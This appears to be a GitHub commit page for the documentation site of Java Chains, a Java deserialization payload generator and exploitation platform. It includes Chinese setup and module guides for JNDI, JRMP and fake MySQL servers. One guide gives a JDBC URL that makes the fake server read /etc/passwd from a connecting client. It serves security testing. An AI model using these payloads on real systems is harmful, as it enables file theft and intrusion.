Skip to content

Commit da0b917

Browse files
committed
first
0 parents  commit da0b917

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

92 files changed

+30044
-0
lines changed

.github/workflows/deploy.yml

+51
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
name: Deploy to GitHub Pages
2+
3+
on:
4+
push:
5+
branches:
6+
- main
7+
# Review gh actions docs if you want to further define triggers, paths, etc
8+
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#on
9+
10+
jobs:
11+
build:
12+
name: Build Docusaurus
13+
runs-on: ubuntu-latest
14+
steps:
15+
- uses: actions/checkout@v4
16+
with:
17+
fetch-depth: 0
18+
- uses: actions/setup-node@v4
19+
with:
20+
node-version: 18
21+
cache: yarn
22+
23+
- name: Install dependencies
24+
run: yarn install --frozen-lockfile
25+
- name: Build website
26+
run: yarn build
27+
28+
- name: Upload Build Artifact
29+
uses: actions/upload-pages-artifact@v3
30+
with:
31+
path: build
32+
33+
deploy:
34+
name: Deploy to GitHub Pages
35+
needs: build
36+
37+
# Grant GITHUB_TOKEN the permissions required to make a Pages deployment
38+
permissions:
39+
pages: write # to deploy to Pages
40+
id-token: write # to verify the deployment originates from an appropriate source
41+
42+
# Deploy to the github-pages environment
43+
environment:
44+
name: github-pages
45+
url: ${{ steps.deployment.outputs.page_url }}
46+
47+
runs-on: ubuntu-latest
48+
steps:
49+
- name: Deploy to GitHub Pages
50+
id: deployment
51+
uses: actions/deploy-pages@v4

.gitignore

+20
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
# Dependencies
2+
/node_modules
3+
4+
# Production
5+
/build
6+
7+
# Generated files
8+
.docusaurus
9+
.cache-loader
10+
11+
# Misc
12+
.DS_Store
13+
.env.local
14+
.env.development.local
15+
.env.test.local
16+
.env.production.local
17+
18+
npm-debug.log*
19+
yarn-debug.log*
20+
yarn-error.log*

CNAME

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
java-chains.vulhub.org

README.md

+41
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
# Java Chains Website
2+
3+
This website is built using [Docusaurus](https://docusaurus.io/), a modern static website generator.
4+
5+
### Installation
6+
7+
```
8+
$ yarn
9+
```
10+
11+
### Local Development
12+
13+
```
14+
$ yarn start
15+
```
16+
17+
This command starts a local development server and opens up a browser window. Most changes are reflected live without having to restart the server.
18+
19+
### Build
20+
21+
```
22+
$ yarn build
23+
```
24+
25+
This command generates static content into the `build` directory and can be served using any static contents hosting service.
26+
27+
### Deployment
28+
29+
Using SSH:
30+
31+
```
32+
$ USE_SSH=true yarn deploy
33+
```
34+
35+
Not using SSH:
36+
37+
```
38+
$ GIT_USER=<Your GitHub username> yarn deploy
39+
```
40+
41+
If you are using GitHub pages for hosting, this command is a convenient way to build the website and push to the `gh-pages` branch.

docs/contact-us.md

+30
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
---
2+
title: 问题反馈
3+
sidebar_position: 50
4+
---
5+
6+
# 问题反馈
7+
8+
:::note
9+
遇到问题进行反馈时,请描述清楚漏洞利用场景,并附带 java chains 完整生成的截图
10+
11+
若遇到报错,请截 Java Chains 的报错截图
12+
:::
13+
14+
## Github issues
15+
16+
https://github.com/vulhub/java-chains/issues
17+
18+
## 微信群
19+
20+
<img
21+
src={require('@site/static/doc/wxgroup.png').default}
22+
className="limitedImageSize"
23+
alt="wechat group"
24+
/>
25+
26+
## Discord 频道
27+
28+
https://discord.gg/ukC8KTrRXv
29+
30+

docs/guide.md

+117
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,117 @@
1+
---
2+
title: 快速上手
3+
sidebar_position: 10
4+
---
5+
6+
# 快速上手
7+
8+
## 什么是 Java Chains
9+
10+
Java Chains 是一个 Java Payload 综合生成与利用平台,提供了生成各种 Java Payload 功能,能够用于测试 JNDI 注入、MySQL JDBC
11+
反序列化、JRMP 反序列化等场景。
12+
13+
## 快速开始
14+
15+
:::warning
16+
该平台默认只对 8011 端口进行了随机密码的登陆保护,其他端口可能存在被反制的风险,使用完相关功能后记得及时关闭相应端口
17+
:::
18+
19+
### 方式一:Docker
20+
21+
你可以通过 `docker` 一条命令启动 `java-chains` 项目(这也是推荐做法)
22+
23+
```shell
24+
docker run -d \
25+
--name java-chains \
26+
--restart=always \
27+
-p 8011:8011 \
28+
-p 58080:58080 \
29+
-p 50389:50389 \
30+
-p 50388:50388 \
31+
-p 3308:3308 \
32+
-p 13999:13999 \
33+
-p 50000:50000 \
34+
-p 11527:11527 \
35+
-e CHAINS_AUTH=true \
36+
-e CHAINS_PASS= \
37+
javachains/javachains:1.4.0
38+
```
39+
40+
通过环境变量配置鉴权或密码;
41+
42+
**CHAINS_AUTH**: `true`为开启鉴权,`false`为关闭鉴权,默认开启鉴权
43+
44+
**CHAINS_PASS**: 指定 web 密码,若该变量为空则随机生成密码,默认随机生成密码
45+
46+
:::tip
47+
Payload 生成功能仅使用 `8011` 端口即可,其他端口为 `exploit` 模块所使用
48+
:::
49+
50+
使用以下命令从 docker 中获取随机生成的强密码
51+
52+
```shell
53+
docker logs $(docker ps | grep javachains/javachains | awk '{print $1}') | grep -E 'password'
54+
```
55+
56+
输出示例
57+
58+
```text
59+
11-12 06:59:53.301 INFO [main] c.a.c.w.c.SecurityConfig | | password: XSsWerJFGcCjB8FU
60+
```
61+
62+
登录页面:`http://your-ip:8011`
63+
64+
### 方式二:Jar包启动
65+
66+
:::warning
67+
仅支持
68+
JDK8,推荐使用 [Temurin](https://adoptium.net/temurin/releases/?version=8&package=jdk) / [Azul Zulu](https://www.azul.com/downloads/?version=java-8-lts&package=jdk#zulu)
69+
:::
70+
71+
下载链接:https://github.com/vulhub/java-chains/releases/latest
72+
73+
启动命令
74+
75+
```bash
76+
java -jar java-chains-[version].jar
77+
```
78+
79+
每次启动后会默认打印出随机生成的密码
80+
81+
默认监听 0.0.0.0 ,登录页面:`http://your-ip:8011`
82+
83+
可通过环境变量设置 web 登录密码,例如:
84+
85+
import Tabs from '@theme/Tabs';
86+
import TabItem from '@theme/TabItem';
87+
88+
<Tabs>
89+
<TabItem value="bash" label="Bash">
90+
```bash
91+
export CHAINS_PASS=[your_password] && java -jar java-chains-[version].jar
92+
```
93+
</TabItem>
94+
<TabItem value="cmd" label="Cmd">
95+
```cmd
96+
set CHAINS_PASS=[your_password] && java -jar java-chains-[version].jar
97+
```
98+
</TabItem>
99+
<TabItem value="ps" label="Powershell">
100+
```powershell
101+
$env:CHAINS_PASS="[your_password]"; java -jar java-chains-[version].jar
102+
```
103+
</TabItem>
104+
</Tabs>
105+
106+
## 默认端口说明
107+
108+
| 端口 | 备注 |
109+
|-------|-------------------|
110+
| 8011 | Java Chains Web端 |
111+
| 58080 | JNDI 提供 HTTP 字节码 |
112+
| 50389 | JNDI LDAP |
113+
| 50388 | JNDI RMI |
114+
| 3308 | Fake MySQL Server |
115+
| 13999 | JRMPListener |
116+
| 50000 | HTTP Server |
117+
| 11527 | TCP Server |

docs/intro.md

+65
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
---
2+
title: 介绍
3+
sidebar_position: 20
4+
---
5+
# Java Chains 介绍
6+
7+
了解以下内容可以帮助你更好使用 Java Chains
8+
9+
## Payload 与 Gadget
10+
11+
Java Chains 内部实现了一个简单的生成框架,生成指定 Poc 时,至少需要一个 Payload 以及多个 Gadget 链。
12+
13+
**Payload** 是对 Gadget 链的处理,例如 `JavaNativePayload` 对 Gadget 链进行序列化,生成 Java 反序列化 Payload;
14+
`HessianPayload`
15+
16+
在前端页面的对应关系
17+
18+
![](@site/static/doc/payload-gadget-intro.png)
19+
20+
## 标签
21+
22+
Payload 与 Gadget 之间、Gadget 与 Gadget 之间使用**标签**进行衔接,每个 Gadget 都有当前标签 tags、衔接标签 nextTags
23+
24+
例如,名为 `CommonsBeanutils1` Gadget 的 nextTags 标签为 **Getter**,意味着允许任意 Getter 方法的调用,而 `TemplatesImpl`
25+
`JdbcRowSetImpl``SignedObject`等 Gadget 含有 Getter 标签,所以会出现在 `CommonsBeanutils1` 的下一级
26+
27+
使用标签衔接,在前端展示是通过级联选择器来实现,如下图所示:
28+
29+
![](@site/static/doc/cb-tag-show.png)
30+
31+
:::tip
32+
Gadget 名称显示为黄色,说明发现该 Gadget 在一些特殊情况下无法使用,需要自行查询 Gadget 的**描述**字段进行查看。
33+
34+
例: `TemplatesImpl` Gadget 不适用于直接应用在 Hessian 反序列化中
35+
![](@site/static/doc/templates-not-for-hessian.png)
36+
37+
:::
38+
39+
## 模块
40+
41+
Java Chains 有以下模块,点击即可跳转到文档详情
42+
43+
[Generate: 生成](./module/generate.md)
44+
45+
[JNDI: JNDI 利用](./module/jndi.md)
46+
47+
[JRMPListener: RMI 反序列化利用](./module/jrmplistener.md)
48+
49+
[FakeMySQL Server: MySQL 反序列化利用](./module/fakemysql.md)
50+
51+
[HTTP Server: HTTP 服务](./module/httpserver.md)
52+
53+
[TCP Server: HTTP 服务](./module/tcpserver.md)
54+
55+
## System
56+
57+
Java Chains 自身相关配置,例如 `ShowPayload` 可展示所有 Payload列表、 `ShowGadget` 可展示所有 Gadget
58+
59+
![](@site/static/doc/showgadget.png)
60+
61+
## WebsocketLog
62+
63+
实时同步服务器 Java Chains 的日志
64+
65+
适用于在 JNDI 等反连模块中查看请求日志

docs/module/fakemysql.md

+53
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
---
2+
title: MySQL JDBC 利用
3+
sidebar_position: 4
4+
---
5+
6+
# MySQL JDBC 利用
7+
8+
## FakeMySQLPayload
9+
10+
MySQL JDBC 反序列化利用姿势
11+
12+
FakeMySQL 模块和 [JNDI 模块](jndi.md) 很像,该模块可实现 MySQL JDBC 反序列化的利用
13+
14+
JNDI 是通过 LDAP/RMI 参数进行传递 token,从而匹配后端并返回对应 Payload
15+
16+
而 FakeMySQL 是通过 mysql username 进行传参数
17+
18+
同时也具有和JNDI模块中一样的容错机制,即: 匹配不到 token 则默认返回最新生成的 Payload
19+
20+
## FakeMySQLReadPayload
21+
22+
MySQL JDBC 客户端文件读取、SSRF 姿势
23+
24+
这里支持两个传参方式,第一种是在 java chains 输入参数,然后返回一个 token,把该放入 jdbc payload 中
25+
26+
![](@site/static/doc/mysql-read.png)
27+
28+
```
29+
jdbc:mysql://127.0.0.1:3308/test?user=[TOKEN]
30+
```
31+
32+
第二种传参方式是在 username 中设置参数,格式为:`fileread_[file name]`
33+
34+
其中 fileread_ 是固定前缀,后缀跟要读取的文件名,例如下面 JDBC 读取文件 Payload
35+
36+
```
37+
jdbc:mysql://127.0.0.1:3308/test?user=fileread_/etc/passwd
38+
```
39+
40+
## FakeMySQLSHPayload
41+
42+
FakeMySQL 反序列化梭哈链,一键测试常规反序列化链,提高测试效率
43+
44+
![](@site/static/doc/mysql-showhand.png)
45+
46+
可放入到 Burp 中进行批量爆破测试
47+
![](@site/static/doc/fake-mysql.png)
48+
49+
总体使用流程等同于 JNDI 的梭哈链,可进行参考: [JNDIShowHandPayload](./jndi.md#jndishowhandpayload)
50+
51+
## 参考
52+
53+
- https://github.com/4ra1n/mysql-fake-server

0 commit comments

Comments
 (0)